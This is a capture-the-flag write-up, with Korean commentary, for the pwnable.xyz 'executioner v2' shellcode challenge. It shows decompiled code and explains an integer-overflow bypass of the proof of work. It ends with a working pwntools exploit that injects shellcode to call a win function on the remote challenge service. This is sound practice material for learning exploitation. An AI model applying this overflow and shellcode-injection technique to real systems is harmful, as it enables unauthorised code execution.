[pwnable.xyz]executioner v2
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
_QWORD *v4; // rax
__int64 v5; // rdx
int i; // [rsp+0h] [rbp-20h]
int fd; // [rsp+4h] [rbp-1Ch]
setup(*&argc, argv, envp);
solve_pow();
puts("Shellcode executioner");
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("error");
result = 1;
}
else
{
read(fd, key, 16uLL);
close(fd);
printf("Input: ", key);
read(0, inpt, 16uLL);
for ( i = 0; i < strlen(inpt); ++i )
inpt[i] ^= key[i];
v4 = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
v5 = qword_202288;
*v4 = *inpt;
v4[1] = v5;
(v4)(0LL, 0LL, v4, 0LL, 0LL, 0LL);
result = 0;
}
return result;
}
전에 풀었던 문제랑 비슷한데 0이 필터링됐다.
unsigned __int64 solve_pow()
{
unsigned int buf; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
buf = 0;
read(fd, &buf, 4uLL);
close(fd);
v2 = 0;
v3 = 0;
printf("POW: x + y == 0x%x\n", buf);
printf("> ");
if ( _isoc99_scanf("%u %u", &v2, &v3) != 2 || !v2 || !v3 )
{
puts("error");
exit(1);
}
getchar();
if ( v3 + v2 != buf )
{
puts("POW failed");
exit(1);
}
puts("Loading challenge... ");
sleep(v2 * v3);
return __readfsqword(0x28u) ^ v5;
}
레지스터들을 초기화해준다.
0x0000000000000e3f <+316>: xor rax,rax
0x0000000000000e42 <+319>: xor rbx,rbx
0x0000000000000e45 <+322>: xor rcx,rcx
0x0000000000000e48 <+325>: xor rdx,rdx
0x0000000000000e4b <+328>: xor rsi,rsi
0x0000000000000e4e <+331>: xor rdi,rdi
0x0000000000000e51 <+334>: xor r8,r8
0x0000000000000e54 <+337>: xor r9,r9
0x0000000000000e57 <+340>: xor r10,r10
0x0000000000000e5a <+343>: xor r11,r11
0x0000000000000e5d <+346>: xor r12,r12
0x0000000000000e60 <+349>: xor r13,r13
0x0000000000000e63 <+352>: xor r14,r14
0x0000000000000e66 <+355>: xor r15,r15
solve_pow함수는 두개 곱한 값이 0이여야 sleep(0) 해줄거고 더한값도 urandom에서 뽑은 값과 같아야한다.
메모리매핑하고 실행권한주는데 쉘코딩하면 된다. win함수 주소 구해서 call해줬다.
exploit.py
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30028)
p.recvuntil('==')
buf = int(p.recvline().strip(),16)
log.info('buf : ' + str(buf))
p.sendlineafter('>',str(0x80000000+buf) + ' ' + str(0x80000000))
s='''
pop rax
sub ax, 0x2ce
call rax
'''
p.sendafter('Input: ','\x00\x02'+asm(s))
p.interactive()